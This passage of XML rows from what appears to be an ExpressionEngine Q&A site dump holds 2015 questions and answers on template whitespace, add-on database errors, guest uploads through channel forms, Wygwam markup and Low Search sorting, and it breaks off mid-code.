  <row Id="34475" PostTypeId="1" AcceptedAnswerId="34478" CreationDate="2015-10-21T21:31:46.150" Score="0" ViewCount="57" Body="&lt;p&gt;I am noticing a lot of extra blank lines for the lines where my template logic exists.  I notice this mostly when I'm building javascript.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I go about preventing this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Example:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;{exp:....}&#xA;{datablock}&#xA;//do some stuff here&#xA;{/datablock}&#xA;{/exp:...}&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;will output:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script&amp;gt;&#xA;&#xA;&#xA;//do some stuff here&#xA;&#xA;&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6765" LastActivityDate="2015-10-22T17:06:55.083" Title="blank lines in parsed templates where template tags / logic exists" Tags="|templates|template-scripting|" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34477" PostTypeId="2" ParentId="34462" CreationDate="2015-10-21T23:13:33.893" Score="0" Body="&lt;p&gt;Try using {logged_in_member_id} instead of {member_id}. If I remember correctly it's parsed early and so should be available to your conditional.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2015-10-21T23:13:33.893" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="34478" PostTypeId="2" ParentId="34475" CreationDate="2015-10-22T01:55:39.270" Score="1" Body="&lt;p&gt;I've seen this. I think it's because the line breaks for {exp...}, {datablock} and so forth are added to the source, even if the code on those lines doesn't insert anything visibly into the page. It really kind of makes sense, when you think about it, although it definitely makes for less clean-looking source code, and marginally more HTML data that has to be sent to the browser.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If this is really an issue to you, you could use Minimee to minify your HTML. That will get rid of the line breaks, but will butcher the readability of your source.&lt;/p&gt;&#xA;" OwnerUserId="3132" LastActivityDate="2015-10-22T01:55:39.270" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="34479" PostTypeId="2" ParentId="34474" CreationDate="2015-10-22T02:44:08.547" Score="1" Body="&lt;p&gt;The documentation of the &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/template_engine.html#rendering-stages&quot; rel=&quot;nofollow&quot;&gt;rendering stages&lt;/a&gt; says that &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/url_segments.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;segment_variables&lt;/code&gt;&lt;/a&gt;, &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/preload_replacement.html&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;preload_replace:variable&lt;/code&gt;&lt;/a&gt; and &lt;a href=&quot;https://ellislab.com/expressionengine/user-guide/templates/globals/single_variables.html#global-current-time&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;current_time&lt;/code&gt;&lt;/a&gt; are parsed before the modules and plugins tags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use all of them to conditionally set the parameter of the &lt;code&gt;exp:calendar:cal&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the conditional, format the &lt;code&gt;current_time&lt;/code&gt; as the &lt;code&gt;segment&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if '{current_time format=&quot;%m&quot;}' == segment_4}&#xA;    {preload_replace:pre-date_start=&quot;today&quot;}&#xA;{if:else}&#xA;    {preload_replace:pre-date_start=&quot;{segment_3}-{segment_4}-01&quot;}&#xA;{/if}&#xA;&#xA;{exp:calendar:cal &#xA;    date_range_start=&quot;{pre-date_start}&quot;&#xA;    date_range_end=&quot;{segment_3}-{segment_4}-last&quot; &#xA;    dynamic=&quot;no&quot; &#xA;    event_limit=&quot;3&quot; &#xA;    paginate=&quot;bottom&quot; &#xA;    pad_short_weeks=&quot;n&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'm assuming you're using version 2.9+. If not, use two &lt;code&gt;if&lt;/code&gt;s instead of an &lt;code&gt;if:else&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="343" LastEditorUserId="343" LastEditDate="2015-10-22T10:35:22.493" LastActivityDate="2015-10-22T10:35:22.493" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="34481" PostTypeId="2" ParentId="34462" CreationDate="2015-10-22T11:57:44.523" Score="1" Body="&lt;p&gt;Just to update my issue turned out to be, I had 'member_data' disabled in my channel entries tag &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;disable=&quot;member_data|pagination|trackbacks&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;after removing that I was able to use {logged_in_member_id}.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...now I have another issue but I'll post that if it comes to it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...I also somehow have 2 accounts&lt;/p&gt;&#xA;" OwnerUserId="3592" LastEditorUserId="3592" LastEditDate="2015-10-22T12:00:24.947" LastActivityDate="2015-10-22T12:00:24.947" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34483" PostTypeId="1" CreationDate="2015-10-22T12:50:43.910" Score="0" ViewCount="56" Body="&lt;p&gt;Anybody know how to fix this? Every time I save a form (creating forms) I get this error. System drops all of my changes. Started yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE Version Installed: 2.10.0&#xA;Forms Version 3.5.2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A Database Error Occurred&#xA;Error Number: 1117&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Too many columns&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALTER TABLE &lt;code&gt;exp_forms_entries&lt;/code&gt; ADD &lt;code&gt;fid_3189&lt;/code&gt; TEXT NULL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Filename: third_party/forms/models/forms_model.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Line Number: 210&lt;/p&gt;&#xA;" OwnerUserId="6568" LastActivityDate="2016-06-02T02:17:05.590" Title="Devdemon Forms Database Error" Tags="|devdemon|devdemon-forms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34484" PostTypeId="2" ParentId="34483" CreationDate="2015-10-22T13:03:57.637" Score="0" Body="&lt;p&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&quot; rel=&quot;nofollow&quot;&gt;https://dev.mysql.com/doc/refman/5.0/en/column-count-limit.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, it's right there in the docs, my friend. And your error is self-explanatory. Hard limit is 4096 (for MyISAM), or 1000 (for InnoDB), but EE defaults to MyISAM. The functional limit is actually less:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.percona.com/blog/2013/04/08/understanding-the-maximum-number-of-columns-in-a-mysql-table/&quot; rel=&quot;nofollow&quot;&gt;https://www.percona.com/blog/2013/04/08/understanding-the-maximum-number-of-columns-in-a-mysql-table/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is why FreeForm, upon going from 3.x to 4.x, switched from having one table with expanding columns when adding forms, to giving each form it's own table. If Devdemon Forms does it's job correctly, when you delete old forms, this should delete the field ids for those forms. I don't know, I haven't personally used Devdemon Forms. But try it; remove some old forms, or specifically (if Forms doesn't directly relate forms owning specific fields) remove fields from your Devdemon install. Check the docs for how to do this.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-22T13:03:57.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34485" PostTypeId="1" AcceptedAnswerId="34486" CreationDate="2015-10-22T13:16:25.613" Score="0" ViewCount="54" Body="&lt;p&gt;I have a channel form set up &lt;a href=&quot;http://mobilearts.org/calendar/submit-event&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; where non-registered users can submit upcoming event information. The form works fine except when you try to upload an image. It generates an error message about file upload permissions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the file upload permissions area there isn't an option to allow uploads for non-registered users. Is there a way to allow for this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the code for the form.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:form channel=&quot;calendar_events&quot; class=&quot;artist&quot; return=&quot;calendar/confirmation&quot;}&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;title&quot;&amp;gt;&amp;lt;span&amp;gt;*Name of Event&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;title&quot; id=&quot;title&quot; value=&quot;&quot; size=&quot;50&quot; maxlength=&quot;100&quot; onkeyup=&quot;liveUrlTitle();&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;submitting_organization&quot;&amp;gt;&amp;lt;span&amp;gt;*Organization&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;submitting_organization&quot; id=&quot;submitting_organization&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;submitted_by&quot;&amp;gt;&amp;lt;span&amp;gt;*Contact - Full Name&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;submitted_by&quot; id=&quot;submitted_by&quot; value=&quot;&quot; size=&quot;50&quot; maxlength=&quot;100&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;contact_phone&quot;&amp;gt;&amp;lt;span&amp;gt;*Contact - Phone Number&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;contact_phone&quot; id=&quot;contact_phone&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;submitters_email&quot;&amp;gt;&amp;lt;span&amp;gt;*Contact - Email&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;submitters_email&quot; id=&quot;submitters_email&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;span&amp;gt;*Date and Time&amp;lt;/span&amp;gt;&#xA;{exp:calendar:date_widget}&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;event_location&quot;&amp;gt;&amp;lt;span&amp;gt;*Event Location&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_location&quot; id=&quot;event_location&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;event_address&quot;&amp;gt;&amp;lt;span&amp;gt;*Event Address&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;event_address&quot; id=&quot;event_address&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;label for=&quot;event_summary&quot;&amp;gt;&amp;lt;span&amp;gt;*Description of Event&amp;lt;/span&amp;gt;&amp;lt;/label&amp;gt;&#xA;&amp;lt;textarea name=&quot;event_summary&quot; rows=&quot;5&quot; cols=&quot;65&quot; &amp;gt;{event_summary}&amp;lt;/textarea&amp;gt;&#xA;&amp;lt;div class=&quot;clearer&quot;&amp;gt;&amp;lt;/div&amp;gt;&#xA;&amp;lt;br /&amp;gt;&#xA;&amp;lt;span&amp;gt;Photo (optional)&amp;lt;/span&amp;gt;&#xA;{field:event_thumbnail}&#xA;&amp;lt;br /&amp;gt;&#xA;&#xA;&amp;lt;p&amp;gt;&amp;lt;label for=&quot;admission&quot;&amp;gt;&amp;lt;span&amp;gt;*Cost of Admission&amp;lt;/span&amp;gt;&#xA;&amp;lt;input type=&quot;text&quot; name=&quot;admission&quot; id=&quot;admission&quot; value=&quot;&quot; maxlength=&quot;75&quot; size=&quot;50&quot;&amp;gt;&#xA;&amp;lt;/label&amp;gt;&#xA;&amp;lt;/p&amp;gt;&#xA;&#xA;&amp;lt;input type=&quot;submit&quot; class=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Submit&quot;&amp;gt;&#xA;{/exp:channel:form} &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastActivityDate="2015-10-22T13:30:29.993" Title="Can't upload image via Channel Forms" Tags="|safecracker|permissions|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34486" PostTypeId="2" ParentId="34485" CreationDate="2015-10-22T13:30:29.993" Score="1" Body="&lt;p&gt;I can think of some possible ways to do this; but why bother when my Google-fu is mighty? Found this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://devot-ee.com/add-ons/logmein&quot; rel=&quot;nofollow&quot;&gt;https://devot-ee.com/add-ons/logmein&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And although that page hasn't been updated in a while, the last comment is from May this year giving it five stars. I would give that a try before planning some sort of hack. But it looks like it's just what you need, the example on that page even hints at doing exactly what you want:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:logmein:now username=&quot;priveleged_guest&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So you create a &quot;Privledge Guest&quot; member group, restrict it to nothing but file uploading to your guest uploads folder, and put that tag on your form page. Voilà!&lt;/p&gt;&#xA;" OwnerUserId="3579" LastActivityDate="2015-10-22T13:30:29.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34487" PostTypeId="1" AcceptedAnswerId="41053" CreationDate="2015-10-22T14:27:16.867" Score="0" ViewCount="157" Body="&lt;p&gt;One of my channels has a Wygwam field set to use the &quot;Basic&quot; formatting toolbar. Whenever I save an entry, and then go back in to edit that entry, the word &quot;Schedule&quot; appears as the last line in the Wygwam field. I have no idea where this word would come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have other channels using Wygwam, some of them also using the &quot;Basic&quot; toolbar, but this doesn't happen in those channels. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't have any advanced settings or style sheets added to this particular Wygwam field, and &quot;Restrict allowed HTML&quot; is set to &quot;Yes&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've temporarily changed the toolbar to a different one and that seems to have resolved it for now.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ever seen this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I just noticed in the Source view of Wygwam, this code is being written into the field:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&amp;lt;button class=&quot;tw-schedule-btn&quot; id=&quot;tw_schedule_btn&quot; style=&quot;padding: 4px 6px;position: absolute;left: 141px;top: 840px;background-color: #F7F7F7;  background: linear-gradient(#FFF, #F0F0F0);  border: 1px solid #CCC;  color: #5F5F5F;  cursor: pointer;  font-weight: bold;  text-shadow: 0 1px #FFF;  white-space: nowrap;border-radius: 3px;font-size: 11px; display: none; z-index: 8675309&quot;&amp;gt;&amp;lt;span&amp;gt;Schedule&amp;lt;/span&amp;gt;&amp;lt;/button&amp;gt;&amp;lt;/p&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I may be able to figure this out myself soon, but anyone recognize that? From some sharing button maybe?&lt;/p&gt;&#xA;" OwnerUserId="332" LastEditorUserId="332" LastEditDate="2015-10-26T20:50:23.683" LastActivityDate="2019-02-02T16:11:03.233" Title="Wygwam is inserting words into the field by itself!" Tags="|wygwam|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="34488" PostTypeId="2" ParentId="34475" CreationDate="2015-10-22T17:06:55.083" Score="0" Body="&lt;p&gt;Depending on how your script is working, you may need to escape the &quot;{}&quot; around the EE tags.  I've only ran into this a couple of times.  What does the inspector tell you?&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2015-10-22T17:06:55.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34489" PostTypeId="2" ParentId="34467" CreationDate="2015-10-22T20:11:59.353" Score="0" Body="&lt;p&gt;The conditional was correct the whole time. I was missing the show_expired=&quot;yes&quot; in the {exp:channel:entries. What was happening was that entry wasn't pulling at all so the conditional wasn't seeing anything. Once i added the show_expired it was able to see the expiration date to compare to. Thanks guys!&lt;/p&gt;&#xA;" OwnerUserId="6772" LastActivityDate="2015-10-22T20:11:59.353" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34490" PostTypeId="1" CreationDate="2015-10-22T20:25:04.510" Score="1" ViewCount="60" Body="&lt;p&gt;Still a bit new with EE2, but I'm looking to be able to construct a way we can push changes up in environments, without having to sync up database-level stuff.  Right now I have several templates that are being changed to include PHP in them.  Part of what I want to get right is making sure PHP is enabled in our production environment when we go to push.  Is there a way in code to set this flag on a given template?  Or is the only solution in the database?&lt;/p&gt;&#xA;" OwnerUserId="6776" LastActivityDate="2016-06-06T07:58:55.233" Title="Code-driven way to enable PHP parsing on a template" Tags="|ee2|templates|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34491" PostTypeId="2" ParentId="34490" CreationDate="2015-10-22T21:25:36.937" Score="0" Body="&lt;p&gt;The setting on whether a template has PHP parsing turned on lives in the &lt;code&gt;exp_templates&lt;/code&gt;, under the &lt;code&gt;allow_php&lt;/code&gt; column (either &lt;code&gt;y&lt;/code&gt; or &lt;code&gt;n&lt;/code&gt;) and the &lt;code&gt;php_parse_location&lt;/code&gt; column (either &lt;code&gt;i&lt;/code&gt; or &lt;code&gt;o&lt;/code&gt;). This question really pertains to practices related to versioning, as I assume you would use a VCS tool for pushing code from development to production.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Programatically, you can always modify the database using the Database class, but that isn't what you're looking for. If you are using git, I would recommend using &lt;a href=&quot;https://git-scm.com/book/en/v2/Customizing-Git-Git-Hooks&quot; rel=&quot;nofollow&quot;&gt;git hooks&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would use a hook to &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Dump the &lt;code&gt;exp_templates&lt;/code&gt; table pre-commit&lt;/li&gt;&#xA;&lt;li&gt;Add that dump file to your commit&lt;/li&gt;&#xA;&lt;li&gt;Repo gets pushed from dev to production here&lt;/li&gt;&#xA;&lt;li&gt;Use a server-side hook to run an update to that table with the dump&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;It seems like a convoluted way to go about it, but that should essentially push your &lt;code&gt;exp_templates&lt;/code&gt; table along with your code, but not interrupt your channel data or other tables. This can also have the unfortunate effect of overwriting production changes to templates that were done during development time. Perhaps if you could expand on your teams planned development to production path (agile sprints or something?), and how stable the production deployments are going to be, we can help more.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; Whether a template gets pulled from file or template, there is &lt;strong&gt;still&lt;/strong&gt; a read from the &lt;code&gt;exp_templates&lt;/code&gt; table in the EE engine to determine PHP parsing. If you want to just have a post-push trigger, you could write a PHP script that looks at both development and production tables, does a comparison of those columns, and then updates the production rows to match the development ones, using a git hook.&lt;/p&gt;&#xA;" OwnerUserId="3579" LastEditorUserId="3579" LastEditDate="2015-10-22T22:12:14.633" LastActivityDate="2015-10-22T22:12:14.633" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34492" PostTypeId="2" ParentId="34423" CreationDate="2015-10-23T05:51:54.973" Score="0" Body="&lt;p&gt;I was never able to solve this, instead i moved the javascript into a custom module&lt;/p&gt;&#xA;" OwnerUserId="3022" LastActivityDate="2015-10-23T05:51:54.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34493" PostTypeId="2" ParentId="34289" CreationDate="2015-10-23T06:33:10.510" Score="0" Body="&lt;p&gt;Here is my solution.&#xA;Lets assume we have two sites setup under the EE using the Multisite manager and the shortcodes are&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.) default_site   ===&amp;gt;&amp;gt;  Default Site&#xA;2.) second_site    ===&amp;gt;&amp;gt;  Second Site&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now We had already setup the following category structure under each sites Category group called NEWS&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Category Structure for the default_site&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;NEWS [Category Group] {Assigned to channel called News}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.) Default Site [Category]&#xA;    3.) Latest News&#xA;    4.) Top Stories&#xA;2.) Second Site [Category]&#xA;    5.) Latest News&#xA;    6.) Top Stories&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;Category Structure for the second_site&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;NEWS [Category Group] {Assigned to channel called News}&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6.) Default Site [Category]&#xA;    8.) Latest News&#xA;    9.) Top Stories&#xA;7.) Second Site [Category]&#xA;    10.) Latest News&#xA;    11.) Top Stories&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;FOR DEFAULT SITE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To fetch Latest news from each site we use the following entry tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;3|8&quot; offset=&quot;0&quot; disable=&quot;categories|category_fields&quot; track_views=&quot;one&quot; dynamic=&quot;no&quot; status=&quot;open|featured&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; site=&quot;default_site|second_site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fetch Top Stories from each site we use the following entry tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;4|9&quot; offset=&quot;0&quot; disable=&quot;categories|category_fields&quot; track_views=&quot;one&quot; dynamic=&quot;no&quot; status=&quot;open|featured&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; site=&quot;default_site|second_site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;h1&gt;FOR SECOND SITE&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To fetch Latest news from each site we use the following entry tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;5|10&quot; offset=&quot;0&quot; disable=&quot;categories|category_fields&quot; track_views=&quot;one&quot; dynamic=&quot;no&quot; status=&quot;open|featured&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; site=&quot;default_site|second_site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To fetch Top Stories from each site we use the following entry tag&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;news&quot; category=&quot;6|11&quot; offset=&quot;0&quot; disable=&quot;categories|category_fields&quot; track_views=&quot;one&quot; dynamic=&quot;no&quot; status=&quot;open|featured&quot; limit=&quot;10&quot; paginate=&quot;bottom&quot; site=&quot;default_site|second_site&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here everything is based on category ID.&lt;/p&gt;&#xA;" OwnerUserId="6718" LastActivityDate="2015-10-23T06:33:10.510" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34494" PostTypeId="2" ParentId="26067" CreationDate="2015-10-23T11:37:05.670" Score="0" Body="&lt;h1&gt;Using Composer Hidden Fields?&lt;/h1&gt;&#xA;&lt;p&gt;If you found this answer whilst searching for a solution to this problem for hidden fields in Composer, check out Solspace's other answer over here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/34177/getting-channel-title-tag-value-in-freeform-pro-composer-hidden-input-field&quot;&gt;Getting channel TITLE tag value in Freeform Pro Composer hidden input field&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="2714" LastEditorUserId="-1" LastEditDate="2020-06-17T08:55:32.810" LastActivityDate="2015-10-23T11:37:05.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="34496" PostTypeId="1" AcceptedAnswerId="34497" CreationDate="2015-10-23T15:16:59.567" Score="1" ViewCount="40" Body="&lt;p&gt;I am building a property rental site using EE 2.10.1 and Low Search 4.3.1. I am trying to sort the results of the Low Search query by limit, bedrooms and occupancy. I have this working perfectly on a general search results page, as shown in this URL:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://movingmo.nextmp.net/search/homes/eyJyZXN1bHRfcGFnZSI6Ilwvc2VhcmNoXC9ob21lcyIsInNlYXJjaDphbWVuaXRpZXM6YW1lbml0aWVzX25hbWUiOiJGaXJlcGxhY2UiLCJsaW1pdCI6IjUwMCJ9&quot; rel=&quot;nofollow&quot;&gt;http://movingmo.nextmp.net/search/homes/eyJyZXN1bHRfcGFnZSI6Ilwvc2VhcmNoXC9ob21lcyIsInNlYXJjaDphbWVuaXRpZXM6YW1lbml0aWVzX25hbWUiOiJGaXJlcGxhY2UiLCJsaW1pdCI6IjUwMCJ9&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when trying to apply the same sorting to a page that displays a Low Search Shortcut it doesn't work. I've tried changing the query parameter and adding in the shortcut parameter to the tags but can't seem to figure this out. Here's some template code, shortened for brevity but I think it will show where I'm at.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the tag on the general search results:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:low_search:results&#xA; query=&quot;{segment_3}&quot;&#xA; site=&quot;foo&quot;&#xA; collection=&quot;bar&quot;&#xA;}&#xA; &amp;lt;label class=&quot;left inline&quot; for=&quot;orderby_sort&quot;&amp;gt;Sort by:&amp;lt;/label&amp;gt;&#xA; &amp;lt;select name=&quot;orderby_sort&quot; class=&quot;sort&quot; id=&quot;orderby_sort&quot; onchange=&quot;location = this.options[this.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;---&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; orderby_sort=&quot;bedroomCount|asc&quot;}&quot;&amp;gt;Bedrooms - Low to High&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; orderby_sort=&quot;bedroomCount|desc&quot;}&quot;&amp;gt;Bedrooms - High to Low&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; orderby_sort=&quot;maxGuestCount|asc&quot;}&quot;&amp;gt;Sleeps - Low to High&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; orderby_sort=&quot;maxGuestCount|desc&quot;}&quot;&amp;gt;Sleeps - High to Low&amp;lt;/option&amp;gt;&#xA; &amp;lt;/select&amp;gt;&#xA; &amp;lt;label class=&quot;left inline&quot; for=&quot;limit&quot;&amp;gt;Homes per page:&amp;lt;/label&amp;gt;&#xA; &amp;lt;select name=&quot;limit&quot; class=&quot;limit&quot; id=&quot;limit&quot; onchange=&quot;location = this.options[this.selectedIndex].value;&quot;&amp;gt;&#xA;  &amp;lt;option value=&quot;&quot;&amp;gt;---&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; limit=&quot;12&quot;}&quot;&amp;gt;12&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url query=&quot;{segment_3}&quot; limit=&quot;24&quot;}&quot;&amp;gt;24&amp;lt;/option&amp;gt;&#xA;  &amp;lt;option value=&quot;{exp:low_search:url 